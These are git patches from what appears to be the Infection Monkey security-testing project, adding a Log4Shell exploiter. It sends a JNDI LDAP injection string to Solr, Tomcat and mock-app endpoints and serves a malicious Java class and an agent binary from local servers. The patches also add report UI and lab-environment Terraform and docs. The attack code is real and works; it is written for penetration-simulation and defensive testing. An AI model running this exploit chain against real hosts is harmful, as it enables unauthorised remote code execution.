6ac59eb2b..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/poc_docker.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"uname": payload, "password": "m0nk3y"} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/login") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py deleted file mode 100644 index ca5d31875..000000000 --- a/monkey/infection_monkey/exploit/log4shell_utils/requests/solr.py +++ /dev/null @@ -1,25 +0,0 @@ -from logging import getLogger -from typing import List - -import requests - -from infection_monkey.model import VictimHost - -logger = getLogger(__name__) - - -def trigger_exploit(payload: str, host: VictimHost, open_ports: List[int]): - urls = build_urls(open_ports, host) - payload = {"foo": payload} - for url in urls: - try: - resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 - except requests.ReadTimeout as e: - logger.debug(f"Log4shell request failed {e}") - - -def build_urls(open_ports: List[int], host: VictimHost) -> List[str]: - urls = [] - for port in open_ports: - urls.append(f"http://{host.ip_addr}:{port}/solr/admin/cores") - return urls diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py new file mode 100644 index 000000000..8122f2505 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -0,0 +1,9 @@ +from typing import List + +from .exploitable_service import IExploitableService +from .poc_docker import DockerPOCExploit +from .solr import SolrExploit + + +def get_log4shell_service_exploiters() -> List[IExploitableService]: + return [DockerPOCExploit(), SolrExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py new file mode 100644 index 000000000..20a3b92e7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/exploitable_service.py @@ -0,0 +1,16 @@ +import abc + +from infection_monkey.model import VictimHost + + +class IExploitableService(metaclass=abc.ABCMeta): + @property + @abc.abstractmethod + def service_name(self) -> str: + # Should have the name of the exploited service + pass + + @staticmethod + @abc.abstractmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + raise NotImplementedError diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py new file mode 100644 index 000000000..ae142eed7 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/poc_docker.py @@ -0,0 +1,22 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class DockerPOCExploit(IExploitableService): + + service_name = "GoFinance mock application" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/login" + payload = {"uname": payload, "password": "m0nk3y"} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py new file mode 100644 index 000000000..6e6771357 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/solr.py @@ -0,0 +1,21 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class SolrExploit(IExploitableService): + service_name = "Apache Solr" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/solr/admin/cores" + payload = {"foo": payload} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") From 0b76b9f949fd90cfb44ba2652ecde9acdf2b4583 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:18:58 +0200 Subject: [PATCH 17/77] Agent: fix log4shell to override the correct _exploit_host method --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 9ca35b35e..bb2ac472f 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -42,7 +42,7 @@ class Log4ShellExploiter(WebRCE): self.ldap_port = get_free_tcp_port() self.class_http_server_port = get_free_tcp_port() - def exploit_host(self): + def _exploit_host(self): paths = self.get_monkey_paths() # Create server for http download and wait for it's startup. From 9d5ea0f41fb988445ed54775aa554b4be3ce39cf Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:26:00 +0200 Subject: [PATCH 18/77] Island: add log4shell issue processing and reporting --- .../exploiter_descriptor_enum.py | 4 ++++ .../exploiter_report_info.py | 1 + .../processors/log4shell.py | 16 ++++++++++++++ .../report-components/SecurityReport.js | 6 ++++++ .../security/issues/Log4ShellIssue.js | 21 +++++++++++++++++++ vulture_allowlist.py | 4 ++++ 6 files changed, 52 insertions(+) create mode 100644 monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py index 15e1bfef4..bb63e3cb9 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py @@ -8,6 +8,9 @@ from monkey_island.cc.services.reporting.issue_processing.exploit_processing.pro from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.exploit import ( # noqa: E501 ExploitProcessor, ) +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.log4shell import ( # noqa: E501 + Log4ShellProcessor, +) from monkey_island.cc.services.reporting.issue_processing.exploit_processing.processors.shellshock_exploit import ( # noqa: E501 ShellShockExploitProcessor, ) @@ -52,6 +55,7 @@ class ExploiterDescriptorEnum(Enum): POWERSHELL = ExploiterDescriptor( "PowerShellExploiter", "PowerShell Remoting Exploiter", ExploitProcessor ) + LOG4SHELL = ExploiterDescriptor("Log4ShellExploiter", "Log4j Exploiter", Log4ShellProcessor) @staticmethod def get_by_class_name(class_name: str) -> ExploiterDescriptor: diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py index 087ee6a39..069d93a8d 100644 --- a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_report_info.py @@ -21,3 +21,4 @@ class ExploiterReportInfo: port: Union[str, None] = None paths: Union[List[str], None] = None password_restored: Union[bool, None] = None + service: Union[str, None] = None diff --git a/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py new file mode 100644 index 000000000..62330e424 --- /dev/null +++ b/monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/processors/log4shell.py @@ -0,0 +1,16 @@ +from monkey_island.cc.services.node import NodeService +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_report_info import ( # noqa: E501 + ExploiterReportInfo, +) + + +class Log4ShellProcessor: + @staticmethod + def get_exploit_info_by_dict(class_name: str, exploit_dict: dict) -> ExploiterReportInfo: + ip_addr = exploit_dict["data"]["machine"]["ip_addr"] + machine = NodeService.get_node_hostname(NodeService.get_node_or_monkey_by_ip(ip_addr)) + port = exploit_dict["data"]["info"]["vulnerable_service"]["port"] + service = exploit_dict["data"]["info"]["vulnerable_service"]["service_name"] + return ExploiterReportInfo( + ip_address=ip_addr, machine=machine, type=class_name, port=port, service=service + ) diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js index 3dcf94615..5ea202629 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/SecurityReport.js @@ -31,6 +31,7 @@ import {sshKeysReport, shhIssueReport, sshIssueOverview} from './security/issues import {sambacryIssueOverview, sambacryIssueReport} from './security/issues/SambacryIssue'; import {elasticIssueOverview, elasticIssueReport} from './security/issues/ElasticIssue'; import {shellShockIssueOverview, shellShockIssueReport} from './security/issues/ShellShockIssue'; +import {log4shellIssueOverview, log4shellIssueReport} from './security/issues/Log4ShellIssue'; import {ms08_067IssueOverview, ms08_067IssueReport} from './security/issues/MS08_067Issue'; import { crossSegmentIssueOverview, @@ -158,6 +159,11 @@ class ReportPageComponent extends AuthComponent { [this.issueContentTypes.REPORT]: zerologonIssueReport, [this.issueContentTypes.TYPE]: this.issueTypes.DANGER }, + 'Log4ShellExploiter': { + [this.issueContentTypes.OVERVIEW]: log4shellIssueOverview, + [this.issueContentTypes.REPORT]: log4shellIssueReport, + [this.issueContentTypes.TYPE]: this.issueTypes.DANGER + }, 'zerologon_pass_restore_failed': { [this.issueContentTypes.OVERVIEW]: zerologonOverviewWithFailedPassResetWarning }, diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js new file mode 100644 index 000000000..e9642d71e --- /dev/null +++ b/monkey/monkey_island/cc/ui/src/components/report-components/security/issues/Log4ShellIssue.js @@ -0,0 +1,21 @@ +import React from 'react'; +import CollapsibleWellComponent from '../CollapsibleWell'; + +export function log4shellIssueOverview() { + return (
  • Some servers are vulnerable to log4shell remote code execution exploit.
  • ) +} + +export function log4shellIssueReport(issue) { + return ( + <> + Upgrade the log4j component to version 2.15.0 or later. + + The {issue.service} server {issue.machine} ({issue.ip_address}:{issue.port}) is vulnerable to log4shell remote code execution attack. +
    + The attack was made possible due to an old version of log4j component. +
    + + ); +} diff --git a/vulture_allowlist.py b/vulture_allowlist.py index e8d637285..b8509e6b8 100644 --- a/vulture_allowlist.py +++ b/vulture_allowlist.py @@ -5,6 +5,9 @@ Vulture doesn't mark these as dead again. """ from infection_monkey.exploit.log4shell_utils.ldap_server import LDAPServerFactory from monkey_island.cc.models import Report +from monkey_island.cc.services.reporting.issue_processing.exploit_processing.exploiter_descriptor_enum import ( + ExploiterDescriptorEnum, +) fake_monkey_dir_path # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) set_os_linux # unused variable (monkey/tests/infection_monkey/post_breach/actions/test_users_custom_pba.py:37) @@ -67,6 +70,7 @@ MSSQL # unused variable (monkey/monkey_island/cc/services/reporting/issue_proce VSFTPD # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:45) DRUPAL # unused variable (monkey/monkey_island/cc/services/reporting/issue_processing/exploit_processing/exploiter_descriptor_enum.py:48) POWERSHELL # (\monkey\monkey_island\cc\services\reporting\issue_processing\exploit_processing\exploiter_descriptor_enum.py:52) +ExploiterDescriptorEnum.LOG4SHELL _.do_POST # unused method (monkey/monkey_island/cc/server_utils/bootloader_server.py:26) PbaResults # unused class (monkey/monkey_island/cc/models/pba_results.py:4) internet_access # unused variable (monkey/monkey_island/cc/models/monkey.py:43) From 7bace927f8df266bf5f55527ebb53d58b8dbecb1 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 12:56:04 +0200 Subject: [PATCH 19/77] Agent: fix log4shell to always close ldap and http servers, even on errors --- monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++-------- 1 file changed, 9 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index bb2ac472f..86f564dfc 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -69,16 +69,17 @@ class Log4ShellExploiter(WebRCE): ldap_thread = ldap.get_run_thread() ldap_thread.start() - self._trigger_exploit() + try: + self.exploit(None, None) + finally: + http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + http_thread.stop() - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True - - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() + ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + ldap.stop() # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded From 0cd6b1e61681e3c6fc2829788c267a8aa9311411 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 13:00:37 +0200 Subject: [PATCH 20/77] Agent: remove unused upload_monkey() and rename _trigger_exploit --- monkey/infection_monkey/exploit/log4shell.py | 42 +++++++++----------- 1 file changed, 18 insertions(+), 24 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 86f564dfc..36e275587 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -84,26 +84,6 @@ class Log4ShellExploiter(WebRCE): # If java class was downloaded it means that victim is vulnerable return Log4ShellExploiter.HTTPHandler.class_downloaded - def _trigger_exploit(self): - # Try to exploit all services, - # because we don't know which services are running and on which ports - open_ports = [ - int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) - ] - for exploit in get_log4shell_service_exploiters(): - for port in open_ports: - exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) - - # Wait for request - sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - - if Log4ShellExploiter.HTTPHandler.class_downloaded: - self.exploit_info["vulnerable_service"] = { - "service_name": exploit.service_name, - "port": port, - } - return - def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" @@ -132,11 +112,25 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def upload_monkey(self, url, commands=None): - pass - def exploit(self, url, command): - pass + # Try to exploit all services, + # because we don't know which services are running and on which ports + open_ports = [ + int(port[0]) for port in WebRCE.get_open_service_ports(self.host, self.HTTP, ["http"]) + ] + for exploit in get_log4shell_service_exploiters(): + for port in open_ports: + exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + + # Wait for request + sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) + + if Log4ShellExploiter.HTTPHandler.class_downloaded: + self.exploit_info["vulnerable_service"] = { + "service_name": exploit.service_name, + "port": port, + } + return class HTTPHandler(http.server.BaseHTTPRequestHandler): From 0006112e79a628a2fcdb8e74eaad897472c2ab7a Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 13:01:50 +0200 Subject: [PATCH 21/77] Agent: fix log4shell to be able to exploit more than 1 service --- monkey/infection_monkey/exploit/log4shell.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 36e275587..e6df5879f 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -130,7 +130,7 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } - return + return class HTTPHandler(http.server.BaseHTTPRequestHandler): From 79d92afcd43306f30628f905a81ec8223c007f12 Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Thu, 6 Jan 2022 13:56:17 +0100 Subject: [PATCH 22/77] Agent: Add Apache Tomcat support for Log4Shell exploit --- .../service_exploiters/__init__.py | 3 ++- .../service_exploiters/tomcat.py | 21 +++++++++++++++++++ 2 files changed, 23 insertions(+), 1 deletion(-) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py index 8122f2505..96823c894 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/__init__.py @@ -3,7 +3,8 @@ from typing import List from .exploitable_service import IExploitableService from .poc_docker import DockerPOCExploit from .solr import SolrExploit +from .tomcat import TomcatExploit def get_log4shell_service_exploiters() -> List[IExploitableService]: - return [DockerPOCExploit(), SolrExploit()] + return [DockerPOCExploit(), SolrExploit(), TomcatExploit()] diff --git a/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py new file mode 100644 index 000000000..bfabdd854 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/service_exploiters/tomcat.py @@ -0,0 +1,21 @@ +from logging import getLogger + +import requests + +from infection_monkey.exploit.log4shell_utils.service_exploiters import IExploitableService +from infection_monkey.model import VictimHost + +logger = getLogger(__name__) + + +class TomcatExploit(IExploitableService): + service_name = "Apache Tomcat" + + @staticmethod + def trigger_exploit(payload: str, host: VictimHost, port: int): + url = f"http://{host.ip_addr}:{port}/examples/servlets/servlet/SessionExample" + payload = {"dataname": "foo", "datavalue": payload} + try: + resp = requests.post(url, data=payload, timeout=5, verify=False) # noqa DUO123 + except requests.ReadTimeout as e: + logger.debug(f"Log4shell request failed {e}") From a38536b59bb3f229c40d9c3d71c6985d7dd6ef94 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 16:35:38 +0200 Subject: [PATCH 23/77] Agent: refactor log4shell Refactor extracts server setup and shutdown functionality into separate methods --- monkey/infection_monkey/exploit/log4shell.py | 70 ++++++++++++++------ 1 file changed, 49 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index e6df5879f..10bbe8859 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -42,47 +42,75 @@ class Log4ShellExploiter(WebRCE): self.ldap_port = get_free_tcp_port() self.class_http_server_port = get_free_tcp_port() + self.ldap_server_thread = None + self.ldap_server = None + self.agent_http_server_thread = None + self.java_class_http_server_thread = None + def _exploit_host(self): + self.start_servers() + try: + self.exploit(None, None) + finally: + self.stop_servers() + # If java class was downloaded it means that victim is vulnerable + return Log4ShellExploiter.HTTPHandler.class_downloaded + + def start_servers(self): + # Start http server, to serve agent to victims paths = self.get_monkey_paths() + agent_http_path = self.start_agent_http_server(paths) + + # Build agent execution command + command = self.build_command(paths["dest_path"], agent_http_path) + + # Start http server to serve malicious java class to victim + class_server_ip = self.start_class_http_server(command) + # Start ldap server to redirect ldap query to java class server + self.start_ldap_server(class_server_ip) + + def start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. - http_path, http_thread = HTTPTools.create_locked_transfer(self.host, paths["src_path"]) + http_path, http_thread = HTTPTools.create_locked_transfer( + self.host, agent_paths["src_path"] + ) + self.agent_http_server_thread = http_thread if not http_path: - logger.debug("Exploiter failed, http transfer creation failed.") - return False + logger.debug("Exploiter failed, couldn't start an http server to serve agent.") + raise Exception("Http server creation failed") logger.info("Started http server on %s", http_path) + return http_path - command = self.build_command(paths["dest_path"], http_path) - + def start_class_http_server(self, command: str) -> str: java_class = self.build_java_class(command) class_http_server_ip = get_interface_to_target(self.host.ip_addr) java_class_http_thread = self.get_java_class_server_thread(class_http_server_ip, java_class) - java_class_http_thread.start() + self.java_class_http_server_thread = java_class_http_thread + self.java_class_http_server_thread.start() + return class_http_server_ip - ldap = LDAPExploitServer( + def start_ldap_server(self, class_http_server_ip: str): + self.ldap_server = LDAPExploitServer( ldap_server_port=self.ldap_port, http_server_ip=class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) - ldap_thread = ldap.get_run_thread() - ldap_thread.start() + ldap_thread = self.ldap_server.get_run_thread() + self.ldap_server_thread = ldap_thread + self.ldap_server_thread.start() - try: - self.exploit(None, None) - finally: - http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - http_thread.stop() + def stop_servers(self): + self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self.agent_http_server_thread.stop() - java_class_http_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - Log4ShellExploiter.HTTPHandler.stop = True + self.java_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + Log4ShellExploiter.HTTPHandler.stop = True - ldap_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - ldap.stop() - - # If java class was downloaded it means that victim is vulnerable - return Log4ShellExploiter.HTTPHandler.class_downloaded + self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self.ldap_server.stop() def build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) From 7ba2051bf665ce9cda5c7b51a6f5f099673c93e5 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 6 Jan 2022 16:58:40 +0200 Subject: [PATCH 24/77] Agent: fix a bug in log4shell Fix a bug that prevents single agent from exploiting multiple machines, by resetting the state of global HTTPHandler params --- monkey/infection_monkey/exploit/log4shell.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 10bbe8859..3f5ffe886 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -50,13 +50,10 @@ class Log4ShellExploiter(WebRCE): def _exploit_host(self): self.start_servers() try: - self.exploit(None, None) + return self.exploit(None, None) finally: self.stop_servers() - # If java class was downloaded it means that victim is vulnerable - return Log4ShellExploiter.HTTPHandler.class_downloaded - def start_servers(self): # Start http server, to serve agent to victims paths = self.get_monkey_paths() @@ -140,7 +137,7 @@ class Log4ShellExploiter(WebRCE): else: return build_exploit_bytecode(exploit_command, WINDOWS_EXPLOIT_TEMPLATE_PATH) - def exploit(self, url, command): + def exploit(self, url, command) -> bool: # Try to exploit all services, # because we don't know which services are running and on which ports open_ports = [ @@ -158,7 +155,8 @@ class Log4ShellExploiter(WebRCE): "service_name": exploit.service_name, "port": port, } - return + return True + return False class HTTPHandler(http.server.BaseHTTPRequestHandler): @@ -166,6 +164,11 @@ class Log4ShellExploiter(WebRCE): class_downloaded = False stop = False + @staticmethod + def reset(): + Log4ShellExploiter.HTTPHandler.class_downloaded = False + Log4ShellExploiter.HTTPHandler.stop = False + def do_GET(self): Log4ShellExploiter.HTTPHandler.class_downloaded = True logger.info("Java class servergot a GET request!") @@ -185,6 +188,8 @@ class Log4ShellExploiter(WebRCE): ): server.handle_request() + Log4ShellExploiter.HTTPHandler.reset() + def get_java_class_server_thread(self, ip: str, java_class: bytes): Log4ShellExploiter.HTTPHandler.java_class = java_class From 6782f806eb8fc4abc24ee240e041721964f4a3e3 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Fri, 7 Jan 2022 15:27:50 +0200 Subject: [PATCH 25/77] Zoo: add log4j solr machines to terraform scripts and docs --- envs/monkey_zoo/docs/fullDocs.md | 56 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 45 ++++++++++++++++++++ 2 files changed, 101 insertions(+) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 9d8e8b3c4..d10525aa1 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1198,6 +1198,62 @@ Update all requirements using deployment script:
    + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-49 Log4j Solr

    +

    (10.2.3.49)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Apache Solr 8.11.0
    Default server’s port:8983
    Notes:User: m0nk3y, Password: m0nk3y
    + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-50 Log4j-solr

    +

    (10.2.3.50)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Apache solr 8.11.0
    Default server’s port:-
    Notes:User: m0nk3y, Password: Passw0rd!
    + diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index cd9675732..4b64b4a31 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -373,6 +373,51 @@ resource "google_compute_instance_from_template" "powershell-3-45" { } } +resource "google_compute_instance_from_template" "powershell-3-45" { + name = "${local.resource_prefix}powershell-3-45" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.powershell-3-45.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.45" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-49" { + name = "${local.resource_prefix}log4j-solr-49" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-49.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.49" + } +} + +resource "google_compute_instance_from_template" "log4j-solr-50" { + name = "${local.resource_prefix}log4j-solr-50" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-solr-50.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.50" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From dcc68914bd4aa776187a7af01845ecbacde7859f Mon Sep 17 00:00:00 2001 From: Ilija Lazoroski Date: Mon, 10 Jan 2022 14:17:48 +0100 Subject: [PATCH 26/77] BB: Add log4j machines to monkey zoo --- envs/monkey_zoo/docs/fullDocs.md | 74 ++++++++++++++++++++++--- envs/monkey_zoo/terraform/images.tf | 16 ++++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 30 ++++++++++ 3 files changed, 113 insertions(+), 7 deletions(-) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index d10525aa1..71a373843 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -35,8 +35,12 @@ This document describes Infection Monkey’s test network, how to deploy and use [Nr. 3-46 Powershell](#_Toc536021480)
    [Nr. 3-47 Powershell](#_Toc536021481)
    [Nr. 3-48 Powershell](#_Toc536021482)
    -[Nr. 250 MonkeyIsland](#_Toc536021483)
    -[Nr. 251 MonkeyIsland](#_Toc536021484)
    +[Nr. 3-49 Log4j Solr](#_Toc536021483)
    +[Nr. 3-50 Log4j Solr](#_Toc536021484)
    +[Nr. 3-51 Log4j Tomcat](#_Toc536021485)
    +[Nr. 3-52 Log4j Tomcat](#_Toc536021486)
    +[Nr. 250 MonkeyIsland](#_Toc536021487)
    +[Nr. 251 MonkeyIsland](#_Toc536021488)
    [Network topography](#network-topography)
    # Warning\! @@ -1201,7 +1205,7 @@ Update all requirements using deployment script:
    - @@ -1229,7 +1233,7 @@ Update all requirements using deployment script:

    Nr. 3-49 Log4j Solr

    +

    Nr. 3-49 Log4j Solr

    (10.2.3.49)

    (Vulnerable)
    - @@ -1245,7 +1249,7 @@ Update all requirements using deployment script:
    - + @@ -1257,7 +1261,63 @@ Update all requirements using deployment script:

    Nr. 3-50 Log4j-solr

    +

    Nr. 3-50 Log4j Solr

    (10.2.3.50)

    (Vulnerable)
    Default server’s port:-8983
    Notes:
    - + + + + + + + + + + + + + + + + + + + + + +

    Nr. 250 MonkeyIsland

    +

    Nr. 3-51 Log4j Tomcat

    +

    (10.2.3.51)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Apache Tomcat 8.0.36
    Default server’s port:8080
    Notes:
    + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-52 Log4j-tomcat

    +

    (10.2.3.52)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Apache Tomcat 8.0.36
    Default server’s port:8080
    Notes:User: m0nk3y, Password: Tomcat@22
